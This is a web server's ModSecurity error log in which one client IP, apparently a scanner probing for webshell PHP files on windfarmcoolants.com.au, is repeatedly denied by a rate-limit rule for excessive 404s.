[Sat Apr 18 20:21:06.719433 2026] [:error] [pid 13023:tid 13045] [client 52.236.80.95:6141] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/menu.php"] [unique_id "aeN3Mv1e7hG8DAeABB8GmQAAARQ"]
[Sat Apr 18 20:21:07.277949 2026] [:error] [pid 34237:tid 34247] [client 52.236.80.95:5844] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/menu.php"] [unique_id "aeN3MxBmX4Wq5a6rxfarYwAAAUg"]
[Sat Apr 18 20:21:07.874864 2026] [:error] [pid 9865:tid 9960] [client 52.236.80.95:6119] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aeN3M6zb5knECIY-C-iCmQAAAJc"]
[Sat Apr 18 20:21:08.533334 2026] [:error] [pid 9864:tid 9918] [client 52.236.80.95:5887] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aeN3NICFeowknfXHM7kcRAAAAEw"]
[Sat Apr 18 20:21:09.226940 2026] [:error] [pid 9970:tid 9985] [client 52.236.80.95:6139] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aeN3NSYdRLRhVmaIMx20CwAAAMs"]
[Sat Apr 18 20:21:09.797405 2026] [:error] [pid 9864:tid 9928] [client 52.236.80.95:5813] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aeN3NYCFeowknfXHM7kcRwAAAFY"]
[Sat Apr 18 20:21:10.651953 2026] [:error] [pid 13023:tid 13028] [client 52.236.80.95:5866] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sk25_1.php"] [unique_id "aeN3Nv1e7hG8DAeABB8GmwAAAQM"]
[Sat Apr 18 20:21:11.268990 2026] [:error] [pid 9863:tid 9875] [client 52.236.80.95:5960] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sk25_1.php"] [unique_id "aeN3NzjjiypiFrTucbLNgQAAAAI"]
[Sat Apr 18 20:21:11.820098 2026] [:error] [pid 9864:tid 9915] [client 52.236.80.95:5828] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sk25_1.php"] [unique_id "aeN3N4CFeowknfXHM7kcUQAAAEk"]
[Sat Apr 18 20:21:12.532990 2026] [:error] [pid 9863:tid 9874] [client 52.236.80.95:5788] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sk25_1.php"] [unique_id "aeN3ODjjiypiFrTucbLNggAAAAE"]
[Sat Apr 18 20:21:13.161456 2026] [:error] [pid 34290:tid 34326] [client 52.236.80.95:5869] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "aeN3ORqX6WpmmAXOBi8chwAAAcc"]
[Sat Apr 18 20:21:13.708399 2026] [:error] [pid 34290:tid 34342] [client 52.236.80.95:5791] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "aeN3ORqX6WpmmAXOBi8ciAAAAdc"]
[Sat Apr 18 20:21:14.360620 2026] [:error] [pid 34288:tid 34312] [client 52.236.80.95:5790] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "aeN3OuTIiy__PtiLmpnTWgAAAZQ"]
[Sat Apr 18 20:21:14.894712 2026] [:error] [pid 9865:tid 9939] [client 52.236.80.95:6108] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "aeN3Oqzb5knECIY-C-iCnAAAAII"]
[Sat Apr 18 20:21:15.443723 2026] [:error] [pid 9864:tid 9916] [client 52.236.80.95:5772] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/beerd.php"] [unique_id "aeN3O4CFeowknfXHM7kcVAAAAEo"]
[Sat Apr 18 20:21:16.074866 2026] [:error] [pid 9864:tid 9909] [client 52.236.80.95:5870] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/beerd.php"] [unique_id "aeN3PICFeowknfXHM7kcVgAAAEQ"]
[Sat Apr 18 20:21:16.838957 2026] [:error] [pid 9864:tid 9905] [client 52.236.80.95:5939] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/beerd.php"] [unique_id "aeN3PICFeowknfXHM7kcWAAAAEA"]
[Sat Apr 18 20:21:17.380032 2026] [:error] [pid 9864:tid 9923] [client 52.236.80.95:5916] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/beerd.php"] [unique_id "aeN3PYCFeowknfXHM7kcWwAAAFE"]
[Sat Apr 18 20:21:17.930424 2026] [:error] [pid 9970:tid 9974] [client 52.236.80.95:5882] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "aeN3PSYdRLRhVmaIMx20DwAAAMA"]
[Sat Apr 18 20:21:19.392456 2026] [:error] [pid 9865:tid 9937] [client 52.236.80.95:5936] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "aeN3P6zb5knECIY-C-iCnwAAAIA"]
[Sat Apr 18 20:21:19.914858 2026] [:error] [pid 9863:tid 9897] [client 52.236.80.95:6021] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "aeN3PzjjiypiFrTucbLNiQAAABg"]
[Sat Apr 18 20:21:20.486963 2026] [:error] [pid 13023:tid 13034] [client 52.236.80.95:5949] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "aeN3QP1e7hG8DAeABB8GpAAAAQk"]
[Sat Apr 18 20:21:21.034219 2026] [:error] [pid 9970:tid 9984] [client 52.236.80.95:5861] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpb.php"] [unique_id "aeN3QSYdRLRhVmaIMx20EAAAAMo"]
[Sat Apr 18 20:21:21.687522 2026] [:error] [pid 34237:tid 34245] [client 52.236.80.95:5686] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpb.php"] [unique_id "aeN3QRBmX4Wq5a6rxfarbAAAAUY"]
[Sat Apr 18 20:21:22.197874 2026] [:error] [pid 34237:tid 34261] [client 52.236.80.95:6138] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpb.php"] [unique_id "aeN3QhBmX4Wq5a6rxfarbQAAAVY"]
[Sat Apr 18 20:21:22.757673 2026] [:error] [pid 34237:tid 34249] [client 52.236.80.95:5937] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpb.php"] [unique_id "aeN3QhBmX4Wq5a6rxfarbgAAAUo"]
[Sat Apr 18 20:21:23.378498 2026] [:error] [pid 34237:tid 34243] [client 52.236.80.95:5655] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/oircv.php"] [unique_id "aeN3QxBmX4Wq5a6rxfarbwAAAUQ"]
[Sat Apr 18 20:21:24.131906 2026] [:error] [pid 34237:tid 34257] [client 52.236.80.95:6110] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/oircv.php"] [unique_id "aeN3RBBmX4Wq5a6rxfarcQAAAVI"]
[Sat Apr 18 20:21:24.713032 2026] [:error] [pid 9865:tid 9945] [client 52.236.80.95:5769] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/oircv.php"] [unique_id "aeN3RKzb5knECIY-C-iCoQAAAIg"]
[Sat Apr 18 20:21:25.266760 2026] [:error] [pid 9970:tid 9993] [client 52.236.80.95:5868] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/oircv.php"] [unique_id "aeN3RSYdRLRhVmaIMx20FgAAANM"]
[Sat Apr 18 20:21:25.840192 2026] [:error] [pid 34288:tid 34298] [client 52.236.80.95:6124] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bfil.php"] [unique_id "aeN3ReTIiy__PtiLmpnTXQAAAYY"]
[Sat Apr 18 20:21:26.411433 2026] [:error] [pid 13023:tid 13044] [client 52.236.80.95:6030] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bfil.php"] [unique_id "aeN3Rv1e7hG8DAeABB8GpwAAARM"]
[Sat Apr 18 20:21:26.977846 2026] [:error] [pid 34237:tid 34263] [client 52.236.80.95:6116] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bfil.php"] [unique_id "aeN3RhBmX4Wq5a6rxfareQAAAVg"]
[Sat Apr 18 20:21:27.619463 2026] [:error] [pid 34237:tid 34245] [client 52.236.80.95:5803] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bfil.php"] [unique_id "aeN3RxBmX4Wq5a6rxfarewAAAUY"]
[Sat Apr 18 20:21:28.178834 2026] [:error] [pid 34237:tid 34257] [client 52.236.80.95:6097] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xltt.php"] [unique_id "aeN3SBBmX4Wq5a6rxfarfAAAAVI"]
[Sat Apr 18 20:21:28.732787 2026] [:error] [pid 9864:tid 9917] [client 52.236.80.95:6111] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xltt.php"] [unique_id "aeN3SICFeowknfXHM7kcYQAAAEs"]
[Sat Apr 18 20:21:29.281273 2026] [:error] [pid 34237:tid 34259] [client 52.236.80.95:5885] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xltt.php"] [unique_id "aeN3SRBmX4Wq5a6rxfarfwAAAVQ"]
[Sat Apr 18 20:21:30.270469 2026] [:error] [pid 34290:tid 34342] [client 52.236.80.95:6059] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xltt.php"] [unique_id "aeN3ShqX6WpmmAXOBi8cmwAAAdc"]
[Sat Apr 18 20:21:30.788514 2026] [:error] [pid 13023:tid 13033] [client 52.236.80.95:5807] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albrt.php"] [unique_id "aeN3Sv1e7hG8DAeABB8GqAAAAQg"]
[Sat Apr 18 20:21:31.528951 2026] [:error] [pid 34288:tid 34304] [client 52.236.80.95:6061] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albrt.php"] [unique_id "aeN3S-TIiy__PtiLmpnTYAAAAYw"]
[Sat Apr 18 20:21:32.264691 2026] [:error] [pid 34290:tid 34333] [client 52.236.80.95:5846] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albrt.php"] [unique_id "aeN3TBqX6WpmmAXOBi8cngAAAc4"]
[Sat Apr 18 20:21:32.866607 2026] [:error] [pid 34290:tid 34332] [client 52.236.80.95:6126] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albrt.php"] [unique_id "aeN3TBqX6WpmmAXOBi8coAAAAc0"]
[Sat Apr 18 20:21:33.507281 2026] [:error] [pid 9970:tid 9989] [client 52.236.80.95:6033] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hhxc.php"] [unique_id "aeN3TSYdRLRhVmaIMx20HgAAAM8"]
[Sat Apr 18 20:21:34.098767 2026] [:error] [pid 9970:tid 9981] [client 52.236.80.95:6085] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hhxc.php"] [unique_id "aeN3TiYdRLRhVmaIMx20IAAAAMc"]
[Sat Apr 18 20:21:34.612767 2026] [:error] [pid 34237:tid 34244] [client 52.236.80.95:5761] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hhxc.php"] [unique_id "aeN3ThBmX4Wq5a6rxfarhgAAAUU"]
[Sat Apr 18 20:21:35.253044 2026] [:error] [pid 34290:tid 34324] [client 52.236.80.95:5931] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hhxc.php"] [unique_id "aeN3TxqX6WpmmAXOBi8cowAAAcU"]
[Sat Apr 18 20:21:36.083786 2026] [:error] [pid 9864:tid 9922] [client 52.236.80.95:5835] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "aeN3UICFeowknfXHM7kcaQAAAFA"]
[Sat Apr 18 20:21:36.611401 2026] [:error] [pid 34290:tid 34332] [client 52.236.80.95:6020] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "aeN3UBqX6WpmmAXOBi8cqgAAAc0"]
[Sat Apr 18 20:21:37.277039 2026] [:error] [pid 13023:tid 13035] [client 52.236.80.95:6129] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "aeN3Uf1e7hG8DAeABB8GrQAAAQo"]
[Sat Apr 18 20:21:37.900078 2026] [:error] [pid 9864:tid 9920] [client 52.236.80.95:6135] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "aeN3UYCFeowknfXHM7kcagAAAE4"]
[Sat Apr 18 20:21:38.556982 2026] [:error] [pid 9864:tid 9913] [client 52.236.80.95:6034] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "aeN3UoCFeowknfXHM7kcawAAAEc"]
[Sat Apr 18 20:21:39.275453 2026] [:error] [pid 34290:tid 34323] [client 52.236.80.95:5832] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "aeN3UxqX6WpmmAXOBi8ctAAAAcQ"]
[Sat Apr 18 20:21:40.111215 2026] [:error] [pid 9865:tid 9938] [client 52.236.80.95:5764] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "aeN3VKzb5knECIY-C-iCpQAAAIE"]
[Sat Apr 18 20:21:40.646963 2026] [:error] [pid 9865:tid 9940] [client 52.236.80.95:5842] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "aeN3VKzb5knECIY-C-iCpgAAAIM"]
[Sat Apr 18 20:21:41.461457 2026] [:error] [pid 9970:tid 9985] [client 52.236.80.95:5841] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acc.php"] [unique_id "aeN3VSYdRLRhVmaIMx20LAAAAMs"]
